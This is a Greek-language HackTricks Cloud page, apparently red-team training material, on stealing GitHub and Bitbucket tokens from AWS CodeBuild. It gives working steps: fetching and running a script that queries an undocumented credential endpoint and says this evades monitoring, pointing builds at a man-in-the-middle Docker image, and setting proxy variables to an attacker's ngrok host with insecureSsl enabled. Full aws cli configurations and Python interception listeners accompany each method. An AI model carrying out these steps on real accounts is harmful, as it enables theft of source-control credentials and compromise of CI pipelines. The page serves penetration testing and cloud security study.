AWS Codebuild - Token Leakage
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Ανάκτηση διαμορφωμένων Tokens για Github/Bitbucket
Πρώτα, ελέγξτε αν υπάρχουν source credentials διαμορφωμένα που μπορείτε να leak:
aws codebuild list-source-credentials
Μέσω RCE σε CodeBuild Job
Από μέσα σε ένα CodeBuild job, μπορείτε να καλέσετε ένα μη τεκμηριωμένο AWS CodeBuild API endpoint το οποίο θα σας επιστρέψει τα credentials που χρησιμοποιεί το CodeBuild. Αυτό μπορεί να χρησιμοποιηθεί για να αποκτήσετε τα credentials με τα οποία είχε ρυθμιστεί το CodeBuild job, π.χ. AWS CodeConnection credentials, OAUTH ή PAT credentials. Το CodeBuild job δεν χρειάζεται να έχει προνόμια για να καλέσει αυτό το endpoint και είναι επίσης δύσκολο να εντοπιστεί στο logging και monitoring, καθώς το ίδιο το CodeBuild καλεί αυτό το endpoint αρκετές φορές κατά την εκκίνηση.
Η τεχνική εξηγείται περαιτέρω σε https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/ αλλά συνοπτικά, για να αποκτήσετε credentials μέσα στο CodeBuild job απλά πρέπει να τρέξετε τα εξής:
python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py
Μέσω Docker Image
Εάν διαπιστώσετε ότι η authentication, για παράδειγμα στο Github, έχει ρυθμιστεί στον λογαριασμό, μπορείτε να exfiltrate αυτήν την πρόσβαση (GH token or OAuth token) κάνοντας το Codebuild να χρησιμοποιήσει μια συγκεκριμένη Docker image για να εκτελέσει το build του project.
Για αυτό το σκοπό μπορείτε να δημιουργήσετε νέο Codebuild project ή να αλλάξετε το περιβάλλον ενός υπάρχοντος ώστε να ορίσετε την Docker image.
Η Docker image που μπορείτε να χρησιμοποιήσετε είναι https://github.com/carlospolop/docker-mitm. Πρόκειται για μια πολύ βασική Docker image που θα ορίσει τις env variables https_proxy, http_proxy και SSL_CERT_FILE. Αυτό θα σας επιτρέψει να υποκλέψετε το μεγαλύτερο μέρος της κίνησης του host που υποδεικνύεται στις https_proxy και http_proxy και να εμπιστευτείτε το SSL CERT που υποδεικνύεται στο SSL_CERT_FILE.
- Δημιουργία & Ανέβασμα της δικής σας Docker MitM image
- Ακολουθήστε τις οδηγίες του repo για να ορίσετε τη διεύθυνση IP του proxy σας και το SSL cert σας και να δημιουργήσετε την Docker image.
- ΜΗΝ ΟΡΙΣΕΤΕ το
http_proxyώστε να μην αναχαιτίζονται αιτήσεις προς το metadata endpoint. - Μπορείτε να χρησιμοποιήσετε το
ngrokόπωςngrok tcp 4444για να ορίσετε τον proxy στον host σας - Μόλις έχετε την Docker image έτοιμη, ανεβάστε την σε ένα δημόσιο repo (Dockerhub, ECR…)
- Ορίστε το περιβάλλον
- Δημιουργήστε ένα νέο Codebuild project ή τροποποιήστε το περιβάλλον ενός υπάρχοντος.
- Ορίστε το project να χρησιμοποιεί την προηγουμένως δημιουργημένη Docker image
.png)
- Ορίστε τον MitM proxy στον host σας
- Όπως υποδεικνύεται στο Github repo μπορείτε να χρησιμοποιήσετε κάτι τέτοιο:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
Η έκδοση του mitmproxy που χρησιμοποιήθηκε ήταν 9.0.1, αναφέρθηκε ότι με την έκδοση 10 αυτό μπορεί να μην λειτουργεί.
- Εκτελέστε το build & αποσπάστε τα διαπιστευτήρια
- Μπορείτε να δείτε το token στην κεφαλίδα Authorization:
.png)
Αυτό μπορεί επίσης να γίνει από το aws cli με κάτι σαν
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Μέσω insecureSSL
Τα έργα του Codebuild έχουν μια ρύθμιση που ονομάζεται insecureSsl η οποία είναι κρυμμένη στη διεπαφή web και μπορεί να αλλάξει μόνο μέσω του API.
Η ενεργοποίησή της επιτρέπει στο Codebuild να συνδεθεί στο αποθετήριο χωρίς να ελέγχει το πιστοποιητικό που παρέχει η πλατφόρμα.
- Πρώτα πρέπει να απαριθμήσετε την τρέχουσα διαμόρφωση με κάτι σαν:
aws codebuild batch-get-projects --name <proj-name>
- Έπειτα, με τις συλλεχθείσες πληροφορίες μπορείς να ενημερώσεις την ρύθμιση του project
insecureSslσεTrue. Το παρακάτω είναι ένα παράδειγμα της ενημέρωσής μου ενός project — πρόσεξε τοinsecureSsl=Trueστο τέλος (αυτό είναι το μόνο που χρειάζεται να αλλάξεις από τη συλλεχθείσα διαμόρφωση). - Επιπλέον, πρόσθεσε και τις μεταβλητές περιβάλλοντος http_proxy και https_proxy που δείχνουν στο tcp ngrok σου όπως:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Στη συνέχεια, εκτελέστε το βασικό παράδειγμα από https://github.com/synchronizing/mitm στην port που υποδεικνύεται από τις μεταβλητές proxy (http_proxy και https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Τέλος, κάντε κλικ στο Build the project, τα credentials θα αποσταλούν σε clear text (base64) στην mitm πόρτα:
 (1).png)
Μέσω πρωτοκόλλου HTTP
[!TIP] > This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can’t abuse it anymore :)
Ένας attacker με elevated permissions in over a CodeBuild could leak the Github/Bitbucket token που έχει ρυθμιστεί ή αν τα permissions ρυθμίστηκαν μέσω OAuth, το temporary OAuth token used to access the code.
- Ένας attacker θα μπορούσε να προσθέσει τις environment variables http_proxy και https_proxy στο CodeBuild project δείχνοντάς τες στη μηχανή του (για παράδειγμα
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Στη συνέχεια, αλλάξτε το URL του github repo ώστε να χρησιμοποιεί HTTP αντί για HTTPS, για παράδειγμα:
http://github.com/carlospolop-forks/TestActions - Έπειτα, τρέξτε το βασικό παράδειγμα από https://github.com/synchronizing/mitm στην πόρτα που δείχνουν οι μεταβλητές proxy (http_proxy και https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Στη συνέχεια, κάντε κλικ στο Κατασκευή του έργου ή ξεκινήστε την κατασκευή από τη γραμμή εντολών:
aws codebuild start-build --project-name <proj-name>
- Τέλος, τα διαπιστευτήρια θα σταλούν σε απλό κείμενο (base64) στην mitm port:
.png)
Warning
Τώρα ένας επιτιθέμενος θα μπορεί να χρησιμοποιήσει το token από τη μηχανή του, να απαριθμήσει όλα τα προνόμια που έχει και να τα (κακο)χρησιμοποιήσει πιο εύκολα απ’ ό,τι χρησιμοποιώντας άμεσα την υπηρεσία CodeBuild.
Εκτέλεση μη αξιόπιστου PR μέσω λανθασμένης διαμόρφωσης φίλτρου webhook
Για την αλυσίδα παράκαμψης webhook που ενεργοποιείται από PR (ACTOR_ACCOUNT_ID regex + εκτέλεση μη αξιόπιστου PR), δείτε:
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

